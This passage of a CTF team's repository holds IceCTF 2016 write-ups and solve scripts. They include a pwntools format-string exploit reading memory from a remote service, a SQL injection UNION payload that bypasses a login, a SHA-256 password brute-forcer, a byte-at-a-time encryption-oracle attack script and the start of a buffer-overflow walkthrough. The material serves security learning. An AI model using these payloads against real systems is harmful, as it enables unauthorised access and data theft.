| 213 | # On Endianness: 214 | While this is pretty obvious to many people in the CTF, I wanted to write a quick blurb about how endianness works for any new folks that 215 | decide to read this. On x86 architectures the CPU reads bytes in what is called *little endian*. *Endianness* refers to the order in which 216 | the specific architecture is reading the bytes and should be either *big endian*, *little endian*, or *bi-endian*. 217 | 218 | ### Big Endian: 219 | In *big endian* the bytes are read in the order you might read them. For example lets take the 4-byte address `0xaabbccdd`. Naturally you as 220 | a human will read that from left to right, what you might consider *in order* as `aa` then `bb` then `cc` then `dd`. This is how a big endian 221 | architecture will read them as well. So in a python injection that would look like `python -c "print '\xaa\xbb\xcc\xdd'" | ./` 222 | 223 | ### Little Endian: 224 | In little endian they are read in *reverse order*. This doesn't mean that in `0xabcdef12` you end up with `0xbadcfe21` but rather that you go 225 | from right to left, keeping the bytes in order. Remember that in hex each **_two_** digits represents a single byte, so `aa` is a byte, `bb` 226 | is another byte, and so on. So going back to using `0xaabbccdd` as our example address in little endian you read it byte by byte from *right 227 | to left*. That means in a python injection it would look like `python -c "print '\xdd\xcc\xbb\xaa'" | ./` 228 | 229 | ### Bi Endian: 230 | The architecture can support little endian *and* big endian so you'll have to do a little bit of testing to figure it out for yourself. I'm 231 | not totally sure how it is decided here and haven't had to deal with it yet. 232 | -------------------------------------------------------------------------------- /icectf-2016/Smashing-Profit/flag.txt: -------------------------------------------------------------------------------- 1 | IceCTF{who_would_have_thunk?} 2 | -------------------------------------------------------------------------------- /icectf-2016/Smashing-Profit/profit: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/Smashing-Profit/profit -------------------------------------------------------------------------------- /icectf-2016/Thors-A-Hacker-Now/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF Thor 2 | ## Solution By: Nullp0inter 3 | 4 | # Thor's A Hacker Now -Misc- 55pts 5 | Thor has been staring at this for hours and he can't make any sense out of it, can you help him figure out what it is? thor.txt 6 | 7 | # Solution: 8 | The challenge gives us a text file that is quite obviously a hex dump of something. The file 9 | is pretty large so I won't post it directly here but its hosted in the same directory here on github 10 | just in case they ever take it down from IceCTFs site. In any case... 11 | 12 | If you pay attention to the first 4 letters on the right, you see it says "LZIP". That happens to 13 | be the file type, it is simply the hexdump of an lzipped archive. So first you have to go and 14 | download lzip. If you are using ubuntu, then simply do `sudo apt-get install lzip`. Once you have 15 | lzip installed, copy thor.txt to a directory then do `xxd -r thor.txt | lzip -d > thor.out`. This 16 | produces a JPEG image called thor.out. Simply open that image and there is your flag: 17 | 18 | `IceCTF{h3xduMp1N9_l1K3_A_r341_B14Clh47}` 19 | -------------------------------------------------------------------------------- /icectf-2016/Thors-A-Hacker-Now/thor.out: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/Thors-A-Hacker-Now/thor.out -------------------------------------------------------------------------------- /icectf-2016/Toke/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF Toke 2 | ### Solution By: Nullp0inter 3 | 4 | # Description: 5 | I have a feeling they were pretty high when they made this [website](toke.vuln.icec.tf)... 6 | 7 | # Solution 8 | 9 | When you visit the webpage you are able to do basically two things, register and login. I, along with what I assume is a significant portion of people, thought that 10 | this challenge was a SQLi or XSS challenge at first. I initially made an account trying XSS but it was handled properly so that got nowhere, except I did see the post 11 | was made by a "Toke" who I then attempted to SQLi may way into for a while which was also fruitless. After logging in if you examine the cookies you will see one that 12 | is `jwt_token` which looks to be base64 encoded. If we just throw copy the whole thing `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiJucHRyIn0.ItKxsZx5YLny17hrz2WTmWALcBzwxB75pjwkxrNONd8` and just base64decode it: 13 | 14 | ```python 15 | #!/usr/bin/python 16 | 17 | import Base64 18 | 19 | cookie = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmbGFnIjoiSWNlQ1RGe2pXN190MEszbnNfNFJlX25PX3AxNENFX2ZPUl81M0NyRTdTfSIsInVzZXIiOiJucHRyIn0.ItKxsZx5YLny17hrz2WTmWALcBzwxB75pjwkxrNONd8' 20 | 21 | print (base64.b64decode(cookie)) 22 | ``` 23 | 24 | we get back the flag: 25 | `IceCTF{jW7_t0K3ns_4Re_nO_p14CE_fOR_53CrE7S}` 26 | -------------------------------------------------------------------------------- /icectf-2016/corrupt_transmission/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF 2016 2 | # Corrupt Transmission 3 | #### Forensics -- 50 points 4 | # Description 5 | We intercepted this image, but it must have gotten corrupted during the transmission. Can you try and fix it? corrupt.png 6 | 7 | # Solution 8 | As with many CTF challenges, it's a good idea to see what `file` has to say about it. 9 | ~~~ 10 | sh$ file corrupt.png 11 | corrupt.png: data 12 | ~~~ 13 | Since `file` is unable to identify this as a PNG, we know that the [magic numbers](https://en.wikipedia.org/wiki/File_format#Magic_number) are wrong. 14 | 15 | A quick Google search brought me to the [PNG specification](https://www.w3.org/TR/PNG/) which lists the magic numbers in decimal as 16 | ~~~ 17 | 137 80 78 71 13 10 26 10 18 | ~~~ 19 | 20 | Using bash and `xargs`, we can convert those to hex. 21 | ~~~ 22 | sh$ echo "137 80 78 71 13 10 26 10" | xargs printf '%x ' 23 | 89 50 4e 47 d a 1a a % 24 | ~~~ 25 | 26 | When we look at the magic numbers in the file, we see that the magic numbers are incorrect. 27 | 28 | ~~~ 29 | sh$ xxd corrupt.png | head -n 3 30 | 00000000: 9050 4e47 0e1a 0a1b 0000 000d 4948 4452 .PNG........IHDR 31 | 00000010: 0000 01f4 0000 0198 0806 0000 00b4 e010 ................ 32 | 00000020: ab00 0000 0662 4b47 4400 ff00 ff00 ffa0 .....bKGD....... 33 | ~~~ 34 | 35 | Using Vim as a [simple hex editor](http://vi.stackexchange.com/questions/2232/how-can-i-use-vim-as-a-hex-editor), we can correct the magic numbers: 36 | 37 | ~~~ 38 | sh$ xxd corrupt_fixed.png | head -n 3 39 | 00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR 40 | 00000010: 0000 01f4 0000 0198 0806 0000 00b4 e010 ................ 41 | 00000020: ab00 0000 0662 4b47 4400 ff00 ff00 ffa0 .....bKGD....... 42 | ~~~ 43 | 44 | Now when the fixed PNG file is opened in an image viewer, the flag is clearly visible. `IceCTF{t1s_but_4_5cr4tch}` 45 | -------------------------------------------------------------------------------- /icectf-2016/corrupt_transmission/corrupt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/corrupt_transmission/corrupt.png -------------------------------------------------------------------------------- /icectf-2016/corrupt_transmission/corrupt_fixed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/corrupt_transmission/corrupt_fixed.png -------------------------------------------------------------------------------- /icectf-2016/dear_diary/README.md: -------------------------------------------------------------------------------- 1 | #Nullp0inter's dear_diary write up for IceCTF 2016 2 | 3 | ##Dear_Diary Pwn 60pts 4 | We all want to keep our secrets secure and what is more important than our precious diary entries? We made this highly secure diary service that is sure to keep all your boy crushes and edgy poems safe from your parents. 5 | 6 | nc diary.vuln.icec.tf 6501 7 | 8 | ## Write Up 9 | In this challenge we are given a download link for a elf-32bit binary. The 10 | idea is that this binary acts as a diary of sorts, allowing you to write an entry, 11 | print the LATEST entry only, or quit. 12 | 13 | ``` 14 | -- Diary 3000 -- 15 | 16 | 1. add entry 17 | 2. print latest entry 18 | 3. quit 19 | > 20 | ``` 21 | I began by playing around and quickly found that the diary program would occasionally exit right after your entry and print 'rude!' like so: 22 | ``` 23 | -- Diary 3000 -- 24 | 25 | 1. add entry 26 | 2. print latest entry 27 | 3. quit 28 | > 1 29 | Tell me all your secrets: never gonna give you up, never gonna let you down 30 | rude! 31 | ``` 32 | 33 | Thats a bit odd for a diary, just one entry and calling you rude as well. After playing around a little bit process of elemination shows the program does not allow specifically "n", that is to say the lowercase (uppercase is fine), which is undoubtedly also strange behavior. My mind is already screaming Format String Vulnerability but just to verify I tried to enter `AAAA%x%x%x%x%x%x%x` as an entry and 34 | print it: 35 | ``` 36 | -- Diary 3000 -- 37 | 38 | 1. add entry 39 | 2. print latest entry 40 | 3. quit 41 | > 1 42 | Tell me all your secrets: AAAA%x%x%x%x%x%x%x 43 | 44 | 1. add entry 45 | 2. print latest entry 46 | 3. quit 47 | > 2 48 | AAAA6ef757eed5fff4d948fff4ed480a8c521f00 49 | 50 | 1. add entry 51 | 2. print latest entry 52 | 3. quit 53 | > 54 | ``` 55 | 56 | Clearly its not handling format strings properly according to the output above. This is good for us because it means we potentially have arbitrary read access in memory. To figure out how to use this effectively however we need to do some reversing. I started out using peda+gdb `disass main` and `pdisass main` but my reversing skills are pretty bad so I just cheated and used IDA. 57 | 58 | According to IDA we have the following functions: 59 | 60 | #####main: 61 | ```C 62 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) 63 | { 64 | int v3; // eax@2 65 | unsigned int v4; // [sp+14h] [bp-140Ch]@1 66 | int v5; // [sp+18h] [bp-1408h]@8 67 | int v6; // [sp+1418h] [bp-8h]@2 68 | int v7; // [sp+141Ch] [bp-4h]@1 69 | 70 | v7 = *MK_FP(__GS__, 20); 71 | flag(); 72 | v4 = 0; 73 | puts("-- Diary 3000 --"); 74 | fflush(stdout); 75 | while ( 1 ) 76 | { 77 | while ( 1 ) 78 | { 79 | print_menu(); 80 | fgets((char *)&v6, 4, stdin); 81 | v3 = atoi((const char *)&v6); 82 | if ( v3 != 2 ) 83 | break; 84 | if ( v4 ) 85 | print_entry((const char *)&v5 + 256 * (v4 - 1)); 86 | else 87 | puts("No entry found!"); 88 | } 89 | if ( v3 == 3 ) 90 | break; 91 | if ( v3 == 1 ) 92 | { 93 | if ( v4 > 0x13 ) 94 | { 95 | puts("diary ran out of space.."); 96 | exit(1); 97 | } 98 | add_entry((char *)&v5 + 256 * v4++); 99 | } 100 | else 101 | { 102 | puts("Invalid input."); 103 | } 104 | } 105 | exit(0); 106 | } 107 | ``` 108 | 109 | #####print_menu: 110 | ```C 111 | int print_menu() 112 | { 113 | int v0; // ST1C_4@1 114 | v0 = *MK_FP(__GS__, 20); 115 | printf("\n1. add entry\n2. print latest entry\n3. quit\n> "); 116 | fflush(stdout); 117 | return *MK_FP(__GS__, 20) ^ v0; 118 | } 119 | ``` 120 | 121 | #####add_entry: 122 | ```C 123 | int __cdecl add_entry(char *a1) 124 | { 125 | int v2; // [sp+1Ch] [bp-Ch]@1 126 | v2 = *MK_FP(__GS__, 20); 127 | printf("Tell me all your secrets: "); 128 | fflush(stdout); 129 | fgets(a1, 256, stdin); 130 | if ( strchr(a1, 110) ) 131 | { 132 | puts("rude!"); 133 | exit(1); 134 | } 135 | return *MK_FP(__GS__, 20) ^ v2; 136 | } 137 | ``` 138 | 139 | #####print_entry: 140 | ```C 141 | int __cdecl print_entry(const char *a1) 142 | { 143 | int v1; // ST1C_4@1 144 | v1 = *MK_FP(__GS__, 20); 145 | printf(a1); 146 | fflush(stdout); 147 | return *MK_FP(__GS__, 20) ^ v1; 148 | } 149 | ``` 150 | 151 | #####flag: 152 | ```C 153 | int flag() 154 | { 155 | int v0; // ST1C_4@1 156 | int fd; // ST18_4@1 157 | v0 = *MK_FP(__GS__, 20); 158 | fd = open("./flag.txt", 0); 159 | read(fd, &data, 0x100u); 160 | return *MK_FP(__GS__, 20) ^ v0; 161 | } 162 | ``` 163 | 164 | AHA! Just as I thought, according to the print_entry function they didn't properly format our input. This simply confirms what we already know however. Much more interesting is that function `flag()` we see called first thing in `main()`. 165 | 166 | Taking a look at the flag function we see that it simply reads a file flag.txt into some part of memory. Checking the reference in IDA we find that its address is 0x0804a0a0. This is good we now know where in memory our flag is going to be. 167 | 168 | I decided I would test this myself locally before trying it on the remote server. To do this I needed to do two things: 169 | - Create a file in the same directory as the binary called `flag.txt` (into which I put the text `MeCTF{fecking_success!}` 170 | - Learn how to use pwntools as the menu means you can't simply do `python -c "print "` 171 | 172 | The former was obviously easy, the latter required a bit of assistance but eventually what I figured it out. I had my binary in ~/Downloads/dear_diary (I removed the hash in the name) so I created the flag file there as well. For this to work I needed to know where my format string was actually stored on the stack. The reason for this is because if the very first thing I write is an address rather than AAAA then if I can find where it is offset on the stack I can use %s to dereference the address as a pointer to a string and read it as such. Obviously I want to put 0x0804a0a0 onto the stack as that is where the flag is held (as seen in the flag function above) but to do this I decided to first craft some test strings and use gdb. 173 | 174 | Using python I came up with a quick command to generate strings to test with, `print 'AAAA'+'.%x'*NUM` where I kept increasing NUM starting from around 10. This generated strings such as `AAAA.%x.%x.%x.%x.%x.%x` and so on. Eventually I stumbled on the magic number, 18 %x's giving me `AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x` and testing it out in the program I get: 175 | 176 | ``` 177 | -- Diary 3000 -- 178 | 179 | 1. add entry 180 | 2. print latest entry 181 | 3. quit 182 | > 1 183 | Tell me all your secrets: AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x 184 | 185 | 1. add entry 186 | 2. print latest entry 187 | 3. quit 188 | > 2 189 | AAAA.6e.f7622ed5.ffdc3188.ffdc4588.0.a.39402f00.f77a5000.f77a5000.ffdc4598.804888c.ffdc3188.4.f77a55a0.0.0.1.41414141 190 | 191 | 1. add entry 192 | 2. print latest entry 193 | 3. quit 194 | > 195 | ``` 196 | 197 | Awesome! We can see by the 41414141 that we know where our format string ('AAAA') is going to be stored on the stack, 18 items down. Knowing this we can use a little bit of syntactic magic and do %18$x to confirm it is infact the 18th item: 198 | 199 | ``` 200 | 1. add entry 201 | 2. print latest entry 202 | 3. quit 203 | > 1 204 | Tell me all your secrets: AAAA%18$x 205 | 206 | 1. add entry 207 | 2. print latest entry 208 | 3. quit 209 | > 2 210 | AAAA41414141 211 | ``` 212 | 213 | So that's fantastic, we now know that the 18th item down is going to be our format string, this means we can dereference it using %18$s and the only issue now is getting it to be our flag address, 0x0804a0a0, rather than 'AAAA'. Normally we could just do `python -c "print ''+'%18$s'"` to properly parse the hex and pass it but due to that damn menu, this obviously won't work. Instead this is where pwntools comes in. Fire up python and do the following: 214 | 215 | ```Python 216 | from pwn import * # import all pwntools libraries 217 | 218 | payload = p32(134520992)+'%18$s' # pack the integer to hex and append %18$s as the payload 219 | p = process('/home/nullp0inter/Downloads/dear_diary') # open the binary locally as a process 220 | p.recv() # read from the local binary 221 | p.sendline('1') # send '1' to the local binary so we select the option to add entry 222 | p.recv() # read more from local binary 223 | p.sendline(payload) # send the payload we crafted to the binary 224 | p.interactive() # pop open an interactive shell for us to intereact with the binary 225 | ``` 226 | 227 | So a quick note about the above, I got that number (134520992) by converting the hex 0x0804a0a0 to an integer online and did things this way due to my own lack of python knowledge, I am certain there is a substantially better way to do this but I couldn't really think of it or find it (I was focused on solving this quickly rather than elegantly). That said, the payload is the address of the flag followed by %18$s which will try to derefence that address and read it as a string. When we run this we get: 228 | 229 | ``` 230 | [+] Starting local process '/home/nullp0inter/Downloads/dear_diary': Done 231 | [*] Switching to interactive mode 232 | 233 | 1. add entry 234 | 2. print latest entry 235 | 3. quit 236 | > $ 2 237 | \xa0\xa0\x0MeCTF{FECKING_SUCCESS} 238 | 239 | 240 | 1. add entry 241 | 2. print latest entry 242 | 3. quit 243 | > $ 244 | ``` 245 | 246 | THERE IT IS! Our local flag! So our exploit worked. We only need to make one small change for this to work on the remote server. We change the line (or comment it out and add the new line) `p = process('/home/nullp0inter/Downloads/dear_diary')` to `p = remote('diary.vuln.icec.tf',6501)` which is the nc address we were given in the problem. Once that change has been made we can run it again and we get: 247 | 248 | ``` 249 | Tell me all your secrets: 250 | 1. add entry 251 | 2. print latest entry 252 | 3. quit 253 | > $ 2 254 | \xa0\xa0\x0IceCTF{this_thing_is_just_sitting_here} 255 | 256 | 257 | 1. add entry 258 | 2. print latest entry 259 | 3. quit 260 | > $ 261 | ``` 262 | 263 | There it is! The flag is `IceCTF{this_thing_is_just_sitting_here}` 264 | 265 | 266 | ##Special Thanks: 267 | Special thanks to both past and present members of my club, wcsc, who helped me out with this whether directly or otherwise. The support and information I gained while solving this challenge has been invaluable. 268 | -------------------------------------------------------------------------------- /icectf-2016/dear_diary/dear_diary: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/dear_diary/dear_diary -------------------------------------------------------------------------------- /icectf-2016/dear_diary/dear_diary.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | # Nullp0inter's dear_diary solution 4 | # <3 thx bt, duck, thwam, and whoever wrote the FSV presentation 5 | # for us back in 2008 6 | 7 | from pwn import * 8 | 9 | # Uncomment to make remote 10 | p = remote('diary.vuln.icec.tf',6501) 11 | 12 | # Uncomment to make local 13 | #p = process('/home/nullp0inter/Downloads/dear_diary') 14 | 15 | p.recv() 16 | p.sendline('1') 17 | p.recv() 18 | payload = p32(134520992)+'%18$s' 19 | p.sendline(payload) 20 | p.interactive() 21 | -------------------------------------------------------------------------------- /icectf-2016/dear_diary/flag.txt: -------------------------------------------------------------------------------- 1 | MeCTF{FECKING_SUCCESS} 2 | -------------------------------------------------------------------------------- /icectf-2016/intercepted_1/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF 2016 2 | # Intercepted Part One 3 | ## Solution By: [duck](https://github.com/duckythescientist) 4 | 5 | # Solution (copied from solve.py) 6 | 7 | The pcap is a capture of a USB keyboard. 8 | 9 | The proper way to tell is by finding the VID/PID combination during enumeration then looking up the device from that. 10 | 11 | The easy way is just to have looked at enough USB stuffs to recognize that it's a keyboard. :) 12 | 13 | The keyboard data exists in the USB Leftover section. `tshark` is our friend for extracting this. 14 | 15 | ```bash 16 | tshark -r ./intercept.pcapng -T fields -e usb.capdata -Y usb.capdata 2>/dev/null 17 | ``` 18 | 19 | This has some trailing data that we don't care about it, so use tail to skip the beginning 6 lines. 20 | ```bash 21 | tshark -r ./intercept.pcapng -T fields -e usb.capdata -Y usb.capdata 2>/dev/null | tail -n +6 22 | ``` 23 | 24 | The output looks like: 25 | ``` 26 | 00:00:00:00:00:00:00:00 27 | 20:00:00:00:00:00:00:00 28 | 20:00:0a:00:00:00:00:00 29 | 20:00:00:00:00:00:00:00 30 | 00:00:00:00:00:00:00:00 31 | ... 32 | ``` 33 | 34 | The first byte is a bit field of modifier keys (shift, ctrl, alt, etc.). 0x20 means shift 35 | 36 | The third byte is a keycode. More keycodes can be in the later bytes, but this isn't the case this time. 37 | 38 | A line of all 00's means that all keys have been released. 39 | 40 | The keycodes can be found [here](http://download.microsoft.com/download/1/6/1/161ba512-40e2-4cc9-843a-923143f3456c/translate.pdf) 41 | 42 | Except, it's not actually a QWERTY keyboard. It's (mostly) Dvorak. 43 | Luckily for me, I actually use Dvorak. 44 | 45 | Treating it as pure Dvorak doesn't work either because some of the symbols aren't actually changed as expected. 46 | Truthfully, I didn't save the key, and I did some unswapping by hand, so I don't know if this final script is fully correct. 47 | It's at least really close. (may need to swap ':' with 'Z') 48 | 49 | ```bash 50 | tshark -r ./intercept.pcapng -T fields -e usb.capdata -Y usb.capdata 2>/dev/null | tail -n +6 | python usbcap_to_ascii.py 51 | ``` 52 | -------------------------------------------------------------------------------- /icectf-2016/intercepted_1/intercept_3dcea34fd7056a4cc2c1934dd07e4d1fed0bc0683b05b24741a999d1273339da.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/icectf-2016/intercepted_1/intercept_3dcea34fd7056a4cc2c1934dd07e4d1fed0bc0683b05b24741a999d1273339da.pcapng -------------------------------------------------------------------------------- /icectf-2016/intercepted_1/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | """ 4 | The pcap is a capture of a USB keyboard. 5 | The proper way to tell is by finding the VID/PID combination during enumeration then looking up the device from that. 6 | The easy way is just to have looked at enough USB stuffs to recognize that it's a keyboard. :) 7 | 8 | The keyboard data exists in the USB Leftover section. `tshark` is our friend for extracting this. 9 | tshark -r ./intercept.pcapng -T fields -e usb.capdata -Y usb.capdata 2>/dev/null 10 | This has some trailing data that we don't care about it, so use tail to skip the beginning 6 lines. 11 | tshark -r ./intercept.pcapng -T fields -e usb.capdata -Y usb.capdata 2>/dev/null | tail -n +6 12 | 13 | The output looks like: 14 | 00:00:00:00:00:00:00:00 15 | 20:00:00:00:00:00:00:00 16 | 20:00:0a:00:00:00:00:00 17 | 20:00:00:00:00:00:00:00 18 | 00:00:00:00:00:00:00:00 19 | ... 20 | 21 | The first byte is a bit field of modifier keys (shift, ctrl, alt, etc.). 0x20 means shift 22 | The third byte is a keycode. More keycodes can be in the later bytes, but this isn't the case this time. 23 | A line of all 00's means that all keys have been released. 24 | 25 | The keycodes can be found here: http://download.microsoft.com/download/1/6/1/161ba512-40e2-4cc9-843a-923143f3456c/translate.pdf 26 | 27 | Except, it's not actually a QWERTY keyboard. It's (mostly) Dvorak. 28 | Luckily for me, I actually use Dvorak. 29 | Treating it as pure Dvorak doesn't work either because some of the symbols aren't actually changed as expected. 30 | 31 | Truthfully, I didn't save the key, and I did some unswapping by hand, so I don't know if this final script is fully correct. 32 | It's at least really close. (may need to swap ':' with 'Z') 33 | 34 | 35 | tshark -r ./intercept.pcapng -T fields -e usb.capdata -Y usb.capdata 2>/dev/null | tail -n +6 | python usbcap_to_ascii.py 36 | 37 | """ 38 | import string 39 | import sys 40 | 41 | 42 | def usb_to_ascii(x, mod=0): 43 | # This is really nasty 44 | 45 | # Qwerty with unprintables replaced by '?' 46 | # lower = string.ascii_lowercase + "1234567890" + "\n??\t -=[]\\?;'`,./?" 47 | # upper = string.ascii_uppercase + "!@#$%^&*()" + "\n??\t _|{}|?:\"~<>??" 48 | 49 | # Dvorak 50 | # lower = "axje.uidchtnmbrl'poygk,qf;" + "1234567890" + "\n??\t []/=\\?s-`wvz" 51 | # upper = 'AXJE>UIDCHTNMBRL"POYGK 14 | 15 | 16 | 17 | Log In 18 | 19 | 20 | 21 |
22 |
23 | 24 | 25 | 26 | 27 | 28 |
29 |
30 | 31 | 32 | ``` 33 | 34 | Notice the line that reads `required pattern="[A-Z][a-z][0-9][0-9][\?%$@#\^\*\(\)\[\];:]`. Awesome, now we know that the format for the password is, in this order, one *captial* letter from A to Z, one *lowercase* letter 35 | from a to z, two *digits* between 0 and 9, then finally one character that falls within `?%$@#^*()[];:`. Put together this means we can only have passwords like `Ab19?`,`Xf526%`, etc. You can also use an 36 | online hash identifier to find out (if you didn't already know) that the given hash is sha256. Now let's get to those two options: 37 | 38 | ### The Easy Way: 39 | Just jam that hash into this [online cracker](md5hashing.net/hash "Online Hash Cracking Utility, md5hashing.net"), making sure to select sha256 as the hash type. 40 | It will come back in a few seconds and let you know that the result is `Vo83*` which fits our format so we try to login as user `admin` with 41 | password `Vo83*` and PRESTO we are in! 42 | 43 | ``` 44 | Logged in! 45 | 46 | Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world} 47 | ``` 48 | 49 | There it is the flag. 50 | 51 | 52 | ### The Not As Easy Way: 53 | So recall that by now we know both the required format, the hash, AND we know the hash is of type sha256. We can write a simple python script 54 | to brute force that pretty quickly: 55 | 56 | ```python 57 | #!/usr/bin/python 58 | # Nullp0inter, Kitty Brute Forcer 59 | import hashlib # for sha256 and hexdigest 60 | import string # for the string constants 61 | 62 | correct_hash = 'c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a' 63 | 64 | for c1 in string.ascii_uppercase: 65 | for c2 in string.ascii_lowercase: 66 | for c3 in string.digits: 67 | for c4 in string.digits: 68 | for c5 in string.punctuation: 69 | mystring = c1 + c2 + c3 + c4 + c5 70 | my_hash = hashlib.sha256(mystring).hexdigest() 71 | if my_hash == correct_hash: 72 | print mystring 73 | ``` 74 | 75 | That script will work in about 4 seconds and return the password string `Vo83*` (which matches what the online tool found). We simply take the 76 | password we got and use it to login as user `admin` and receive your prize: 77 | 78 | ``` 79 | Logged in! 80 | 81 | Your flag is: IceCTF{i_guess_hashing_isnt_everything_in_this_world} 82 | ``` 83 | 84 | -------------------------------------------------------------------------------- /icectf-2016/kitty/kitty.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Nullp0inter, Kitty Brute Forcer 3 | import hashlib # for sha256 and hexdigest 4 | import string # for the string constants 5 | 6 | correct_hash = 'c7e83c01ed3ef54812673569b2d79c4e1f6554ffeb27706e98c067de9ab12d1a' 7 | 8 | for c1 in string.ascii_uppercase: 9 | for c2 in string.ascii_lowercase: 10 | for c3 in string.digits: 11 | for c4 in string.digits: 12 | for c5 in string.punctuation: 13 | mystring = c1 + c2 + c3 + c4 + c5 14 | my_hash = hashlib.sha256(mystring).hexdigest() 15 | if my_hash == correct_hash: 16 | print mystring 17 | -------------------------------------------------------------------------------- /icectf-2016/l33tcrypt/l33tbrute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from pwn import * 3 | from base64 import b64decode as dec 4 | from base64 import b64encode as enc 5 | 6 | context.log_level = 'error' 7 | 8 | host = "localhost" 9 | # host = "l33tcrypt.vuln.icec.tf" 10 | port = 6001 11 | 12 | guess_bytes = [chr(x) for x in range(256)] 13 | block1_plaintext = 'l33tserver pleas' 14 | 15 | flag = '' 16 | 17 | def recv_line(c): 18 | c.recvline() 19 | c.recvline() 20 | c.recvline() 21 | d = c.recvline() 22 | return dec(d) 23 | 24 | def send_line(c, data): 25 | c.sendline(enc(data)) 26 | 27 | def check_guess(i, goal): 28 | for x in guess_bytes: 29 | c = remote(host, port) 30 | send = block1_plaintext + 'e' * (63 - i) + flag + x 31 | send_line(c, send) 32 | guess = recv_line(c)[0x40:0x50] 33 | c.close() 34 | if guess == goal: 35 | return x 36 | 37 | for i in range(64): 38 | c = remote(host, port) 39 | send = block1_plaintext + 'e' * (63 - i) 40 | send_line(c, send) 41 | goal = recv_line(c)[0x40:0x50] 42 | c.close() 43 | b = check_guess(i, goal) 44 | try: 45 | flag += b 46 | print "flag so far:", flag 47 | except: 48 | print flag 49 | sys.exit() 50 | -------------------------------------------------------------------------------- /icectf-2016/miners/README.md: -------------------------------------------------------------------------------- 1 | # IceCTF 2016 2 | # Miners! 3 | ######Web -- 65 points 4 | ## Description 5 | The miners website has been working on adding a login portal so that all miners can get the flag, but they haven't made any accounts! However, your boss demands the flag now! Can you get in anyway? [miners.vuln.icec.tf](http://miners.vuln.icec.tf) 6 | 7 | ## Solution 8 | The authors of the miners site have conveniently included a link to the PHP code they use to validate logins. 9 | 10 | ```php 11 | Login failed."; 21 | } else { 22 | echo "

Logged in!

"; 23 | echo "

Your flag is: $FLAG

"; 24 | } 25 | ?> 26 | ``` 27 | 28 | The site will let you in if the query returns 1 and only 1 record. 29 | 30 | The challenge description suggests that there are no valid users in the database, but we need it to return 1 record anyway. 31 | 32 | The SQL `UNION` keyword, will join two seperate SELECT queries together, provided that they both have the same number of fields. 33 | 34 | We can make the assumption that the users table has three fields, *user_id*, *username*, and *password*. 35 | 36 | If the string, `' UNION SELECT '1','2','3` is injected into the password field, the whole query becomes 37 | ~~~ 38 | SELECT * FROM users WHERE username='' AND password='' UNION SELECT '1','2','3' 39 | ~~~ 40 | 41 | This gives us the flag, IceCTF{the_miners_union_is_a_strong_one}. 42 | 43 | -------------------------------------------------------------------------------- /icectf-2016/ropi/README.md: -------------------------------------------------------------------------------- 1 | #Nullp0inter's ropi write up for IceCTF 2016 2 | 3 | ##Ropi Pwn 75pts 4 | Ritorno orientata programmazione 5 | nc.ropi.vuln.icec.tf 6500 6 | 7 | ## Write Up 8 | In this challange we are again given a download link for what we find out is a 32-bit ELF executeable binary. The challenge name and hint tell us we will probably be doing rop but beyond that or the specifics we don't really know yet. When we fire up the binary we get the following: 9 | 10 | ``` 11 | Benvenuti al convegno RetOri Pro! 12 | Vuole lasciare un messaggio? 13 | 14 | ``` 15 | 16 | Uh oh, Italian. I don't speak that so I threw it into Google Translate and got the following translation: 17 | 18 | ``` 19 | Welcome to Pro Rectors conference! 20 | Wants to leave a message? 21 | ``` 22 | 23 | So ok, its supposed to let me leave like a message. We get the gist. So now I tried entering just a bit of input to see normal execution: 24 | 25 | ``` 26 | Benvenuti al convegno RetOri Pro! 27 | Vuole lasciare un messaggio? 28 | Never gonna give you up 29 | addio! 30 | ``` 31 | 32 | It just comes back and prints addio!. Ok, now what? Well lets see if we can crash it: 33 | ```zsh 34 | python -c "print 'D'*100" | ./ropi 35 | Benvenuti al convegno RetOri Pro! 36 | Vuole lasciare un messaggio? 37 | [1] 72553 done python -c "print 'D'*100" | 38 | 72554 segmentation fault (core dumped) ./ropi 39 | ``` 40 | 41 | YISSS, a core dump, lets examine that in gdb: 42 | 43 | ```bash 44 | Stopped reason: SIGSEGV 45 | 0x44444444 in ?? () 46 | ``` 47 | Awesome! It looks like we overwrote EIP, now we can generate a string with `ragg2` to take the guesswork (or real reversing) out of figuring out the buffer size: 48 | ```bash 49 | ragg2 -P 100 -r 50 | AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAA 51 | ``` 52 | Using the string ragg2 generated: 